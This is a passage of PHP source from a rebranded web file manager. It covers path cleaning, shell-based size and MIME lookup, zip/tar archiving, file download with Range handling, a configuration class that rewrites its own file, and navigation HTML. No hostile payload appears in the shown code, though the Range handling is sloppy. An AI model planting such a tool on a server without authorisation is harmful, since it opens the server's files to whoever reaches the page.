    return mkdir($dir, 0777, true);
}


function fm_copy($f1, $f2, $upd)
{
    $time1 = filemtime($f1);
    if (file_exists($f2)) {
        $time2 = filemtime($f2);
        if ($time2 >= $time1 and $upd) {
            return false;
        }
    }
    $ok = copy($f1, $f2);
    if ($ok) {
        touch($f2, $time1);
    }
    return $ok;
}


function fm_get_mime_type($file_path)
{
    if (function_exists('finfo_open')) {
        $finfo = finfo_open(FILEINFO_MIME_TYPE);
        $mime = finfo_file($finfo, $file_path);
        finfo_close($finfo);
        return $mime;
    } elseif (function_exists('mime_content_type')) {
        return mime_content_type($file_path);
    } elseif (!stristr(ini_get('disable_functions'), 'shell_exec')) {
        $file = escapeshellarg($file_path);
        $mime = shell_exec('file -bi ' . $file);
        return $mime;
    } else {
        return '--';
    }
}


function fm_redirect($url, $code = 302)
{
    header('Location: ' . $url, true, $code);
    exit;
}


function get_absolute_path($path) {
    $path = str_replace(array('/', '\\'), DIRECTORY_SEPARATOR, $path);
    $parts = array_filter(explode(DIRECTORY_SEPARATOR, $path), 'strlen');
    $absolutes = array();
    foreach ($parts as $part) {
        if ('.' == $part) continue;
        if ('..' == $part) {
            array_pop($absolutes);
        } else {
            $absolutes[] = $part;
        }
    }
    return implode(DIRECTORY_SEPARATOR, $absolutes);
}


function fm_clean_path($path, $trim = true)
{
    $path = $trim ? trim($path) : $path;
    $path = trim($path, '\\/');
    $path = str_replace(array('../', '..\\'), '', $path);
    $path =  get_absolute_path($path);
    if ($path == '..') {
        $path = '';
    }
    return str_replace('\\', '/', $path);
}


function fm_get_parent_path($path)
{
    $path = fm_clean_path($path);
    if ($path != '') {
        $array = explode('/', $path);
        if (count($array) > 1) {
            $array = array_slice($array, 0, -1);
            return implode('/', $array);
        }
        return '';
    }
    return false;
}

function fm_get_display_path($file_path)
{
    global $path_display_mode, $root_path, $root_url;
    switch ($path_display_mode) {
        case 'relative':
            return array(
                'label' => 'Path',
                'path' => fanco(fm_convert_win(str_replace($root_path, '', $file_path)))
            );
        case 'host':
            $relative_path = str_replace($root_path, '', $file_path);
            return array(
                'label' => 'Host Path',
                'path' => fanco(fm_convert_win('/' . $root_url . '/' . ltrim(str_replace('\\', '/', $relative_path), '/')))
            );
        case 'full':
        default:
            return array(
                'label' => 'Full Path',
                'path' => fanco(fm_convert_win($file_path))
            );
    }
}


function fm_is_exclude_items($file) {
    $ext = strtolower(pathinfo($file, PATHINFO_EXTENSION));
    if (isset($exclude_items) and sizeof($exclude_items)) {
        unset($exclude_items);
    }

    $exclude_items = FM_EXCLUDE_ITEMS;
    if (version_compare(PHP_VERSION, '7.0.0', '<')) {
        $exclude_items = unserialize($exclude_items);
    }
    if (!in_array($file, $exclude_items) and !in_array("*.$ext", $exclude_items)) {
        return true;
    }
    return false;
}


function fm_get_translations($tr) {
    try {
        $content = @file_get_contents('translation.json');
        if($content !== FALSE) {
            $lng = json_decode($content, TRUE);
            global $lang_list;
            foreach ($lng["language"] as $key => $value)
            {
                $code = $value["code"];
                $lang_list[$code] = $value["name"];
                if ($tr)
                    $tr[$code] = $value["translation"];
            }
            return $tr;
        }

    }
    catch (Exception $e) {
        echo $e;
    }
}


function fm_get_size($file)
{
    static $iswin;
    static $isdarwin;
    if (!isset($iswin)) {
        $iswin = (strtoupper(substr(PHP_OS, 0, 3)) == 'WIN');
    }
    if (!isset($isdarwin)) {
        $isdarwin = (strtoupper(substr(PHP_OS, 0)) == "DARWIN");
    }

    static $exec_works;
    if (!isset($exec_works)) {
        $exec_works = (function_exists('exec') and !ini_get('safe_mode') and @exec('echo EXEC') == 'EXEC');
    }

    // try a shell command
    if ($exec_works) {
        $arg = escapeshellarg($file);
        $cmd = ($iswin) ? "for %F in (\"$file\") do @echo %~zF" : ($isdarwin ? "stat -f%z $arg" : "stat -c%s $arg");
        @exec($cmd, $output);
        if (is_array($output) and ctype_digit($size = trim(implode("\n", $output)))) {
            return $size;
        }
    }

    // try the Windows COM interface
    if ($iswin and class_exists("COM")) {
        try {
            $fsobj = new COM('Scripting.FileSystemObject');
            $f = $fsobj->GetFile( realpath($file) );
            $size = $f->Size;
        } catch (Exception $e) {
            $size = null;
        }
        if (ctype_digit($size)) {
            return $size;
        }
    }

    // if all else fails
    return filesize($file);
}


function fm_get_filesize($size)
{
    $size = (float) $size;
    $units = array('B', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB');
    $power = ($size > 0) ? floor(log($size, 1024)) : 0;
    $power = ($power > (count($units) - 1)) ? (count($units) - 1) : $power;
    return sprintf('%s %s', round($size / pow(1024, $power), 2), $units[$power]);
}


function fm_get_directorysize($directory) {
    $bytes = 0;
    $directory = realpath($directory);
    if ($directory !== false and $directory != '' and file_exists($directory)){
        foreach(new RecursiveIteratorIterator(new RecursiveDirectoryIterator($directory, FilesystemIterator::SKIP_DOTS)) as $file){
            $bytes += $file->getSize();
        }
    }
    return $bytes;
}


function fm_get_zif_info($path, $ext) {
    if ($ext == 'zip' and function_exists('zip_open')) {
        $arch = @zip_open($path);
        if ($arch) {
            $filenames = array();
            while ($zip_entry = @zip_read($arch)) {
                $zip_name = @zip_entry_name($zip_entry);
                $zip_folder = substr($zip_name, -1) == '/';
                $filenames[] = array(
                    'name' => $zip_name,
                    'filesize' => @zip_entry_filesize($zip_entry),
                    'compressed_size' => @zip_entry_compressedsize($zip_entry),
                    'folder' => $zip_folder
                );
            }
            @zip_close($arch);
            return $filenames;
        }
    } elseif($ext == 'tar' and class_exists('PharData')) {
        $archive = new PharData($path);
        $filenames = array();
        foreach(new RecursiveIteratorIterator($archive) as $file) {
            $parent_info = $file->getPathInfo();
            $zip_name = str_replace("ph" . "ar://".$path, '', $file->getPathName());
            $zip_name = substr($zip_name, ($pos = strpos($zip_name, '/')) !== false ? $pos + 1 : 0);
            $zip_folder = $parent_info->getFileName();
            $zip_info = new SplFileInfo($file);
            $filenames[] = array(
                'name' => $zip_name,
                'filesize' => $zip_info->getSize(),
                'compressed_size' => $file->getCompressedSize(),
                'folder' => $zip_folder
            );
        }
        return $filenames;
    }
    return false;
}


function fanco($text)
{
    return htmlspecialchars($text, ENT_QUOTES, 'UTF-8');
}

function fm_isvalid_filename($text) {
    return (strpbrk($text, '/?%*:|"<>') === FALSE) ? true : false;
}


function fm_set_msg($msg, $status = 'ok')
{
    $_SESSION[DN_CESSION_ID]['message'] = $msg;
    $_SESSION[DN_CESSION_ID]['status'] = $status;
}


function fm_is_utf8($string)
{
    return preg_match('//u', $string);
}


function fm_convert_win($filename)
{
    if (FM_IS_WIN and function_exists('iconv')) {
        $filename = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $filename);
    }
    return $filename;
}


function fm_object_to_array($obj)
{
    if (!is_object($obj) and !is_array($obj)) {
        return $obj;
    }
    if (is_object($obj)) {
        $obj = get_object_vars($obj);
    }
    return array_map('fm_object_to_array', $obj);
}


function fm_get_file_icon_class($path)
{
    // get extension
    $ext = strtolower(pathinfo($path, PATHINFO_EXTENSION));

    switch ($ext) {
        case 'ico':
        case 'gif':
        case 'jpg':
        case 'jpeg':
        case 'jpc':
        case 'jp2':
        case 'jpx':
        case 'xbm':
        case 'wbmp':
        case 'png':
        case 'bmp':
        case 'tif':
        case 'tiff':
        case 'webp':
        case 'avif':
        case 'svg':
            $img = 'fa fa-picture-o';
            break;
        case 'passwd':
        case 'ftpquota':
        case 'sql':
        case 'js':
        case 'ts':
        case 'jsx':
        case 'tsx':
        case 'hbs':
        case 'json':
        case 'sh':
        case 'config':
        case 'twig':
        case 'tpl':
        case 'md':
        case 'gitignore':
        case 'c':
        case 'cpp':
        case 'cs':
        case 'py':
        case 'rs':
        case 'map':
        case 'lock':
        case 'dtd':
            $img = 'fa fa-file-code-o';
            break;
        case 'txt':
        case 'ini':
        case 'conf':
        case 'log':
        case 'htaccess':
        case 'yaml':
        case 'yml':
        case 'toml':
        case 'tmp':
        case 'top':
        case 'bot':
        case 'dat':
        case 'bak':
        case 'htpasswd':
        case 'pl':
            $img = 'fa fa-file-text-o';
            break;
        case 'css':
        case 'less':
        case 'sass':
        case 'scss':
            $img = 'fa fa-css3';
            break;
        case 'bz2':
        case 'tbz2':
        case 'tbz':
        case 'zip':
        case 'rar':
        case 'gz':
        case 'tgz':
        case 'tar':
        case '7z':
        case 'xz':
        case 'txz':
        case 'zst':
        case 'tzst':
            $img = 'fa fa-file-archive-o';
            break;
        case 'php':
        case 'php4':
        case 'php5':
        case 'phps':
        case 'phtml':
            $img = 'fa fa-code';
            break;
        case 'htm':
        case 'html':
        case 'shtml':
        case 'xhtml':
            $img = 'fa fa-html5';
            break;
        case 'xml':
        case 'xsl':
            $img = 'fa fa-file-excel-o';
            break;
        case 'wav':
        case 'mp3':
        case 'mp2':
        case 'm4a':
        case 'aac':
        case 'ogg':
        case 'oga':
        case 'wma':
        case 'mka':
        case 'flac':
        case 'ac3':
        case 'tds':
            $img = 'fa fa-music';
            break;
        case 'm3u':
        case 'm3u8':
        case 'pls':
        case 'cue':
        case 'xspf':
            $img = 'fa fa-headphones';
            break;
        case 'avi':
        case 'mpg':
        case 'mpeg':
        case 'mp4':
        case 'm4v':
        case 'flv':
        case 'f4v':
        case 'ogm':
        case 'ogv':
        case 'mov':
        case 'mkv':
        case '3gp':
        case 'asf':
        case 'wmv':
        case 'webm':
            $img = 'fa fa-file-video-o';
            break;
        case 'eml':
        case 'msg':
            $img = 'fa fa-envelope-o';
            break;
        case 'xls':
        case 'xlsx':
        case 'ods':
            $img = 'fa fa-file-excel-o';
            break;
        case 'csv':
            $img = 'fa fa-file-text-o';
            break;
        case 'bak':
        case 'swp':
            $img = 'fa fa-clipboard';
            break;
        case 'doc':
        case 'docx':
        case 'odt':
            $img = 'fa fa-file-word-o';
            break;
        case 'ppt':
        case 'pptx':
            $img = 'fa fa-file-powerpoint-o';
            break;
        case 'ttf':
        case 'ttc':
        case 'otf':
        case 'woff':
        case 'woff2':
        case 'eot':
        case 'fon':
            $img = 'fa fa-font';
            break;
        case 'pdf':
            $img = 'fa fa-file-pdf-o';
            break;
        case 'psd':
        case 'ai':
        case 'eps':
        case 'fla':
        case 'swf':
            $img = 'fa fa-file-image-o';
            break;
        case 'exe':
        case 'msi':
            $img = 'fa fa-file-o';
            break;
        case 'bat':
            $img = 'fa fa-terminal';
            break;
        default:
            $img = 'fa fa-info-circle';
    }

    return $img;
}


function fm_get_image_exts()
{
    return array('ico', 'gif', 'jpg', 'jpeg', 'jpc', 'jp2', 'jpx', 'xbm', 'wbmp', 'png', 'bmp', 'tif', 'tiff', 'psd', 'svg', 'webp', 'avif');
}


function fm_get_video_exts()
{
    return array('avi', 'webm', 'wmv', 'mp4', 'm4v', 'ogm', 'ogv', 'mov', 'mkv');
}


function fm_get_audio_exts()
{
    return array('wav', 'mp3', 'ogg', 'm4a');
}


function fm_get_text_exts()
{
    return array(
        'txt', 'css', 'ini', 'conf', 'log', 'htaccess', 'passwd', 'ftpquota', 'sql', 'js', 'ts', 'jsx', 'tsx', 'mjs', 'json', 'sh', 'config',
        'php', 'php4', 'php5', 'phps', 'phtml', 'htm', 'html', 'shtml', 'xhtml', 'xml', 'xsl', 'm3u', 'm3u8', 'pls', 'cue', 'bash', 'vue',
        'eml', 'msg', 'csv', 'bat', 'twig', 'tpl', 'md', 'gitignore', 'less', 'sass', 'scss', 'c', 'cpp', 'cs', 'py', 'go', 'zsh', 'swift',
        'map', 'lock', 'dtd', 'svg', 'asp', 'aspx', 'asx', 'asmx', 'ashx', 'jsp', 'jspx', 'cgi', 'dockerfile', 'ruby', 'yml', 'yaml', 'toml',
        'vhost', 'scpt', 'applescript', 'csx', 'cshtml', 'c++', 'coffee', 'cfm', 'rb', 'graphql', 'mustache', 'jinja', 'http', 'handlebars',
        'java', 'es', 'es6', 'markdown', 'wiki', 'tmp', 'top', 'bot', 'dat', 'bak', 'htpasswd', 'pl'
    );
}


function fm_get_text_mimes()
{
    return array(
        'application/xml',
        'application/javascript',
        'application/x-javascript',
        'image/svg+xml',
        'message/rfc822',
        'application/json',
    );
}


function fm_get_text_names()
{
    return array(
        'license',
        'readme',
        'authors',
        'contributors',
        'changelog',
    );
}


function fm_get_onlineViewer_exts()
{
    return array('doc', 'docx', 'xls', 'xlsx', 'pdf', 'ppt', 'pptx', 'ai', 'psd', 'dxf', 'xps', 'rar', 'odt', 'ods');
}

function fm_get_file_mimes($extension)
{
    $fileTypes['swf'] = 'application/x-shockwave-flash';
    $fileTypes['pdf'] = 'application/pdf';
    $fileTypes['exe'] = 'application/octet-stream';
    $fileTypes['zip'] = 'application/zip';
    $fileTypes['doc'] = 'application/msword';
    $fileTypes['xls'] = 'application/vnd.ms-excel';
    $fileTypes['ppt'] = 'application/vnd.ms-powerpoint';
    $fileTypes['gif'] = 'image/gif';
    $fileTypes['png'] = 'image/png';
    $fileTypes['jpeg'] = 'image/jpg';
    $fileTypes['jpg'] = 'image/jpg';
    $fileTypes['webp'] = 'image/webp';
    $fileTypes['avif'] = 'image/avif';
    $fileTypes['rar'] = 'application/rar';

    $fileTypes['ra'] = 'audio/x-pn-realaudio';
    $fileTypes['ram'] = 'audio/x-pn-realaudio';
    $fileTypes['ogg'] = 'audio/x-pn-realaudio';

    $fileTypes['wav'] = 'video/x-msvideo';
    $fileTypes['wmv'] = 'video/x-msvideo';
    $fileTypes['avi'] = 'video/x-msvideo';
    $fileTypes['asf'] = 'video/x-msvideo';
    $fileTypes['divx'] = 'video/x-msvideo';

    $fileTypes['mp3'] = 'audio/mpeg';
    $fileTypes['mp4'] = 'audio/mpeg';
    $fileTypes['mpeg'] = 'video/mpeg';
    $fileTypes['mpg'] = 'video/mpeg';
    $fileTypes['mpe'] = 'video/mpeg';
    $fileTypes['mov'] = 'video/quicktime';
    $fileTypes['swf'] = 'video/quicktime';
    $fileTypes['3gp'] = 'video/quicktime';
    $fileTypes['m4a'] = 'video/quicktime';
    $fileTypes['aac'] = 'video/quicktime';
    $fileTypes['m3u'] = 'video/quicktime';

    $fileTypes['php'] = ['application/x-php'];
    $fileTypes['html'] = ['text/html'];
    $fileTypes['txt'] = ['text/plain'];
    //Unknown mime-types should be 'application/octet-stream'
    if(empty($fileTypes[$extension])) {
      $fileTypes[$extension] = ['application/octet-stream'];
    }
    return $fileTypes[$extension];
}


 function scan($dir = '', $filter = '') {
    $path = FM_ROOT_PATH.'/'.$dir;
     if($path) {
         $ite = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($path));
         $rii = new RegexIterator($ite, "/(" . $filter . ")/i");

         $files = array();
         foreach ($rii as $file) {
             if (!$file->isDir()) {
                 $fileName = $file->getFilename();
                 $location = str_replace(FM_ROOT_PATH, '', $file->getPath());
                 $files[] = array(
                     "name" => $fileName,
                     "type" => "file",
                     "path" => $location,
                 );
             }
         }
         return $files;
     }
}


function fm_download_file($fileLocation, $fileName, $chunkSize  = 1024)
{
    if (connection_status() != 0)
        return (false);
    $extension = pathinfo($fileName, PATHINFO_EXTENSION);

    $contentType = fm_get_file_mimes($extension);

    $size = filesize($fileLocation);

    if ($size == 0) {
        fm_set_msg(lng('Zero byte file! Aborting download'), 'error');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));

        return (false);
    }

    @ini_set('magic_quotes_runtime', 0);
    $fp = fopen("$fileLocation", "rb");

    if ($fp === false) {
        fm_set_msg(lng('Cannot open file! Aborting download'), 'error');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
        return (false);
    }

    // headers
    header('Content-Description: File Transfer');
    header('Expires: 0');
    header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
    header('Pragma: public');
    header("Content-Transfer-Encoding: binary");
    header("Content-Type: $contentType");

    $contentDisposition = 'attachment';

    if (strstr($_SERVER['HTTP_USER_AGENT'], "MSIE")) {
        $fileName = preg_replace('/\./', '%2e', $fileName, substr_count($fileName, '.') - 1);
        header("Content-Disposition: $contentDisposition;filename=\"$fileName\"");
    } else {
        header("Content-Disposition: $contentDisposition;filename=\"$fileName\"");
    }

    header("Accept-Ranges: bytes");
    $range = 0;

    if (isset($_SERVER['HTTP_RANGE'])) {
        list($a, $range) = explode("=", $_SERVER['HTTP_RANGE']);
        str_replace($range, "-", $range);
        $size2 = $size - 1;
        $new_length = $size - $range;
        header("HTTP/1.1 206 Partial Content");
        header("Content-Length: $new_length");
        header("Content-Range: bytes $range$size2/$size");
    } else {
        $size2 = $size - 1;
        header("Content-Range: bytes 0-$size2/$size");
        header("Content-Length: " . $size);
    }
    $fileLocation = realpath($fileLocation);
    while (ob_get_level()) ob_end_clean();
    readfile($fileLocation);

    fclose($fp);

    return ((connection_status() == 0) and !connection_aborted());
}

function fm_get_theme() {
    $result = '';
    if(FM_THEME == "dark") {
        $result = "text-white bg-dark";
    }
    return $result;
}

class FM_Zipper
{
    private $zip;

    public function __construct()
    {
        $this->zip = new ZipArchive();
    }

    public function create($filename, $files)
    {
        $res = $this->zip->open($filename, ZipArchive::CREATE);
        if ($res !== true) {
            return false;
        }
        if (is_array($files)) {
            foreach ($files as $f) {
                $f = fm_clean_path($f);
                if (!$this->addFileOrDir($f)) {
                    $this->zip->close();
                    return false;
                }
            }
            $this->zip->close();
            return true;
        } else {
            if ($this->addFileOrDir($files)) {
                $this->zip->close();
                return true;
            }
            return false;
        }
    }


    public function unzip($filename, $path)
    {
        $res = $this->zip->open($filename);
        if ($res !== true) {
            return false;
        }
        if ($this->zip->extractTo($path)) {
            $this->zip->close();
            return true;
        }
        return false;
    }


    private function addFileOrDir($filename)
    {
        if (is_file($filename)) {
            return $this->zip->addFile($filename);
        } elseif (is_dir($filename)) {
            return $this->addDir($filename);
        }
        return false;
    }


    private function addDir($path)
    {
        if (!$this->zip->addEmptyDir($path)) {
            return false;
        }
        $objects = scandir($path);
        if (is_array($objects)) {
            foreach ($objects as $file) {
                if ($file != '.' and $file != '..') {
                    if (is_dir($path . '/' . $file)) {
                        if (!$this->addDir($path . '/' . $file)) {
                            return false;
                        }
                    } elseif (is_file($path . '/' . $file)) {
                        if (!$this->zip->addFile($path . '/' . $file)) {
                            return false;
                        }
                    }
                }
            }
            return true;
        }
        return false;
    }
}


class FM_Zipper_Tar
{
    private $tar;

    public function __construct()
    {
        $this->tar = null;
    }


    public function create($filename, $files)
    {
        $this->tar = new PharData($filename);
        if (is_array($files)) {
            foreach ($files as $f) {
                $f = fm_clean_path($f);
                if (!$this->addFileOrDir($f)) {
                    return false;
                }
            }
            return true;
        } else {
            if ($this->addFileOrDir($files)) {
                return true;
            }
            return false;
        }
    }


    public function unzip($filename, $path)
    {
        $res = $this->tar->open($filename);
        if ($res !== true) {
            return false;
        }
        if ($this->tar->extractTo($path)) {
            return true;
        }
        return false;
    }

    /**
     * Add file/folder to archive
     * @param string $filename
     * @return bool
     */
    private function addFileOrDir($filename)
    {
        if (is_file($filename)) {
            try {
                $this->tar->addFile($filename);
                return true;
            } catch (Exception $e) {
                return false;
            }
        } elseif (is_dir($filename)) {
            return $this->addDir($filename);
        }
        return false;
    }


    private function addDir($path)
    {
        $objects = scandir($path);
        if (is_array($objects)) {
            foreach ($objects as $file) {
                if ($file != '.' and $file != '..') {
                    if (is_dir($path . '/' . $file)) {
                        if (!$this->addDir($path . '/' . $file)) {
                            return false;
                        }
                    } elseif (is_file($path . '/' . $file)) {
                        try {
                            $this->tar->addFile($path . '/' . $file);
                        } catch (Exception $e) {
                            return false;
                        }
                    }
                }
            }
            return true;
        }
        return false;
    }
}


 class FM_Config
{
     var $data;

    function __construct()
    {
        global $root_path, $root_url, $CONFIG;
        $fm_url = $root_url.$_SERVER["PHP_SELF"];
        $this->data = array(
            'lang' => 'en',
            'error_reporting' => true,
            'show_hidden' => true
        );
        $data = false;
        if (strlen($CONFIG)) {
            $data = fm_object_to_array(json_decode($CONFIG));
        } else {
            $msg = 'spathe<br>Error: Cannot load configuration';
            if (substr($fm_url, -1) == '/') {
                $fm_url = rtrim($fm_url, '/');
                $msg .= '<br>';
                $msg .= '<br>Seems like you have a trailing slash on the URL.';
                $msg .= '<br>Try this link: <a href="' . $fm_url . '">' . $fm_url . '</a>';
            }
            die($msg);
        }
        if (is_array($data) and count($data)) $this->data = $data;
        else $this->save();
    }

    function save()
    {
        $fm_file = __FILE__;
        $var_name = '$CONFIG';
        $var_value = var_export(json_encode($this->data), true);
        $config_string = "<?php" . chr(13) . chr(10) . "//Default Configuration".chr(13) . chr(10)."$var_name = $var_value;" . chr(13) . chr(10);
        if (is_writable($fm_file)) {
            $lines = file($fm_file);
            if ($fh = @fopen($fm_file, "w")) {
                @fputs($fh, $config_string, strlen($config_string));
                for ($x = 3; $x < count($lines); $x++) {
                    @fputs($fh, $lines[$x], strlen($lines[$x]));
                }
                @fclose($fh);
            }
        }
    }
}


function fm_show_nav_path($path)
{
    global $lang, $sticky_navbar, $editFile;
    $isStickyNavBar = $sticky_navbar ? 'fixed-top' : '';
    $getTheme = fm_get_theme();
    $getTheme .= " navbar-light";
    if(FM_THEME == "dark") {
        $getTheme .= " navbar-dark";
    } else {
        $getTheme .= " bg-white";
    }
    ?>
    <nav class="navbar navbar-expand-lg <?php echo $getTheme; ?> mb-4 main-nav <?php echo $isStickyNavBar ?>">
        <a class="navbar-brand"> <?php echo lng('AppTitle') ?> </a>
        <button class="navbar-toggler" type="button" data-bs-toggle="collapse" data-bs-target="#navbarSupportedContent" aria-controls="navbarSupportedContent" aria-expanded="false" aria-label="Toggle navigation">
            <span class="navbar-toggler-icon"></span>
        </button>
        <div class="collapse navbar-collapse" id="navbarSupportedContent">

            <?php
            $path = fm_clean_path($path);
            $root_url = "<a href='?p='><i class='fa fa-home' aria-hidden='true' title='" . FM_ROOT_PATH . "'></i></a>";
            $sep = '<i class="bread-crumb"> / </i>';
            if ($path != '') {
                $exploded = explode('/', $path);
                $count = count($exploded);
                $array = array();
                $parent = '';
                for ($i = 0; $i < $count; $i++) {
                    $parent = trim($parent . '/' . $exploded[$i], '/');
                    $parent_enc = urlencode($parent);
                    $array[] = "<a href='?p={$parent_enc}'>" . fanco(fm_convert_win($exploded[$i])) . "</a>";
                }
                $root_url .= $sep . implode($sep, $array);
            }
            echo '<div class="col-xs-6 col-sm-5">' . $root_url . $editFile . '</div>';
            ?>

            <div class="col-xs-6 col-sm-7">
                <ul class="navbar-nav justify-content-end <?php echo fm_get_theme();  ?>">
                    <li class="nav-item mr-2">
                        <div class="input-group input-group-sm mr-1" style="margin-top:4px;">
                            <input type="text" class="form-control" placeholder="<?php echo lng('Search') ?>" aria-label="<?php echo lng('Search') ?>" aria-describedby="search-addon2" id="search-addon">
                            <div class="input-group-append">
                                <span class="input-group-text brl-0 brr-0" id="search-addon2"><i class="fa fa-search"></i></span>
                            </div>
                            <div class="input-group-append btn-group">
                                <span class="input-group-text dropdown-toggle brl-0" data-bs-toggle="dropdown" aria-haspopup="true" aria-expanded="false"></span>
                                  <div class="dropdown-menu dropdown-menu-right">
                                    <a class="dropdown-item" href="<?php echo $path2 = $path ? $path : '.'; ?>" id="js-search-modal" data-bs-toggle="modal" data-bs-target="#searchModal"><?php echo lng('Advanced Search') ?></a>
                                  </div>
                            </div>
                        </div>
                    </li>
                    <?php if (!FM_READONLY): ?>
                    <li class="nav-item">
                        <a title="<?php echo lng('Upload') ?>" class="nav-link" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;upload"><i class="fa fa-cloud-upload" aria-hidden="true"></i> <?php echo lng('Upload') ?></a>
                    </li>
                    <li class="nav-item">
                        <a title="<?php echo lng('NewItem') ?>" class="nav-link" href="#createNewItem" data-bs-toggle="modal" data-bs-target="#createNewItem"><i class="fa fa-plus-square"></i> <?php echo lng('NewItem') ?></a>
                    </li>
                    <?php endif; ?>
                    <?php if (FM_USE_AUTH): ?>
                    <li class="nav-item avatar dropdown">
                        <a class="nav-link dropdown-toggle" id="navbarDropdownMenuLink-5" data-bs-toggle="dropdown" aria-haspopup="true" aria-expanded="false"> <i class="fa fa-user-circle"></i> <?php if(isset($_SESSION[DN_CESSION_ID]['logged'])) { echo $_SESSION[DN_CESSION_ID]['logged']; } ?></a>
                        <div class="dropdown-menu text-small shadow <?php echo fm_get_theme(); ?>" aria-labelledby="navbarDropdownMenuLink-5">
                            <?php if (!FM_READONLY): ?>
                            <a title="<?php echo lng('Settings') ?>" class="dropdown-item nav-link" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;settings=1"><i class="fa fa-cog" aria-hidden="true"></i> <?php echo lng('Settings') ?></a>
                            <?php endif ?>
                            <a title="<?php echo lng('Help') ?>" class="dropdown-item nav-link" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;help=2"><i class="fa fa-exclamation-circle" aria-hidden="true"></i> <?php echo lng('Help') ?></a>
                            <a title="<?php echo lng('Logout') ?>" class="dropdown-item nav-link" href="?logout=1"><i class="fa fa-sign-out" aria-hidden="true"></i> <?php echo lng('Logout') ?></a>
                        </div>
                    </li>
                    <?php else: ?>
                        <?php if (!FM_READONLY): ?>
                            <li class="nav-item">
                                <a title="<?php echo lng('Settings') ?>" class="dropdown-item nav-link" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;settings=1"><i class="fa fa-cog" aria-hidden="true"></i> <?php echo lng('Settings') ?></a>
                            </li>
                        <?php endif; ?>
                    <?php endif; ?>
                </ul>
            </div>
        </div>
    </nav>
    <?php
}


function fm_show_message()
{
    if (isset($_SESSION[DN_CESSION_ID]['message'])) {
        $class = isset($_SESSION[DN_CESSION_ID]['status']) ? $_SESSION[DN_CESSION_ID]['status'] : 'ok';
        echo '<p class="message ' . $class . '">' . $_SESSION[DN_CESSION_ID]['message'] . '</p>';
        unset($_SESSION[DN_CESSION_ID]['message']);
        unset($_SESSION[DN_CESSION_ID]['status']);
    }
}


function fm_show_header_login()
{
$sprites_ver = '20160315';
header("Content-Type: text/html; charset=utf-8");
header("Expires: Sat, 26 Jul 1997 05:00:00 GMT");
header("Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0");
header("Pragma: no-cache");

global $lang, $root_url, $favicon_path;
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
    <meta name="description" content="spathe">
    <meta name="author" content="CCP Programmers">
    <meta name="robots" content="noindex, nofollow">
    <meta name="googlebot" content="noindex">
    <?php if($favicon_path) { echo '<link rel="icon" href="'.fanco($favicon_path).'" type="image/png">'; } ?>
    <title><?php echo fanco(APP_TITLE) ?></title>
    <?php print_external('pre-jsdelivr'); ?>
    <?php print_external('css-bootstrap'); ?>
    <style>
        body.fm-login-page{ background-color:#f7f9fb;font-size:14px;background-color:#f7f9fb;background-image:url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 304 304' width='304' height='304'%3E%3Cpath fill='%23e2e9f1' fill-opacity='0.4' d='M44.1 224a5 5 0 1 1 0 2H0v-2h44.1zm160 48a5 5 0 1 1 0 2H82v-2h122.1zm57.8-46a5 5 0 1 1 0-2H304v2h-42.1zm0 16a5 5 0 1 1 0-2H304v2h-42.1zm6.2-114a5 5 0 1 1 0 2h-86.2a5 5 0 1 1 0-2h86.2zm-256-48a5 5 0 1 1 0 2H0v-2h12.1zm185.8 34a5 5 0 1 1 0-2h86.2a5 5 0 1 1 0 2h-86.2zM258 12.1a5 5 0 1 1-2 0V0h2v12.1zm-64 208a5 5 0 1 1-2 0v-54.2a5 5 0 1 1 2 0v54.2zm48-198.2V80h62v2h-64V21.9a5 5 0 1 1 2 0zm16 16V64h46v2h-48V37.9a5 5 0 1 1 2 0zm-128 96V208h16v12.1a5 5 0 1 1-2 0V210h-16v-76.1a5 5 0 1 1 2 0zm-5.9-21.9a5 5 0 1 1 0 2H114v48H85.9a5 5 0 1 1 0-2H112v-48h12.1zm-6.2 130a5 5 0 1 1 0-2H176v-74.1a5 5 0 1 1 2 0V242h-60.1zm-16-64a5 5 0 1 1 0-2H114v48h10.1a5 5 0 1 1 0 2H112v-48h-10.1zM66 284.1a5 5 0 1 1-2 0V274H50v30h-2v-32h18v12.1zM236.1 176a5 5 0 1 1 0 2H226v94h48v32h-2v-30h-48v-98h12.1zm25.8-30a5 5 0 1 1 0-2H274v44.1a5 5 0 1 1-2 0V146h-10.1zm-64 96a5 5 0 1 1 0-2H208v-80h16v-14h-42.1a5 5 0 1 1 0-2H226v18h-16v80h-12.1zm86.2-210a5 5 0 1 1 0 2H272V0h2v32h10.1zM98 101.9V146H53.9a5 5 0 1 1 0-2H96v-42.1a5 5 0 1 1 2 0zM53.9 34a5 5 0 1 1 0-2H80V0h2v34H53.9zm60.1 3.9V66H82v64H69.9a5 5 0 1 1 0-2H80V64h32V37.9a5 5 0 1 1 2 0zM101.9 82a5 5 0 1 1 0-2H128V37.9a5 5 0 1 1 2 0V82h-28.1zm16-64a5 5 0 1 1 0-2H146v44.1a5 5 0 1 1-2 0V18h-26.1zm102.2 270a5 5 0 1 1 0 2H98v14h-2v-16h124.1zM242 149.9V160h16v34h-16v62h48v48h-2v-46h-48v-66h16v-30h-16v-12.1a5 5 0 1 1 2 0zM53.9 18a5 5 0 1 1 0-2H64V2H48V0h18v18H53.9zm112 32a5 5 0 1 1 0-2H192V0h50v2h-48v48h-28.1zm-48-48a5 5 0 0 1-9.8-2h2.07a3 3 0 1 0 5.66 0H178v34h-18V21.9a5 5 0 1 1 2 0V32h14V2h-58.1zm0 96a5 5 0 1 1 0-2H137l32-32h39V21.9a5 5 0 1 1 2 0V66h-40.17l-32 32H117.9zm28.1 90.1a5 5 0 1 1-2 0v-76.51L175.59 80H224V21.9a5 5 0 1 1 2 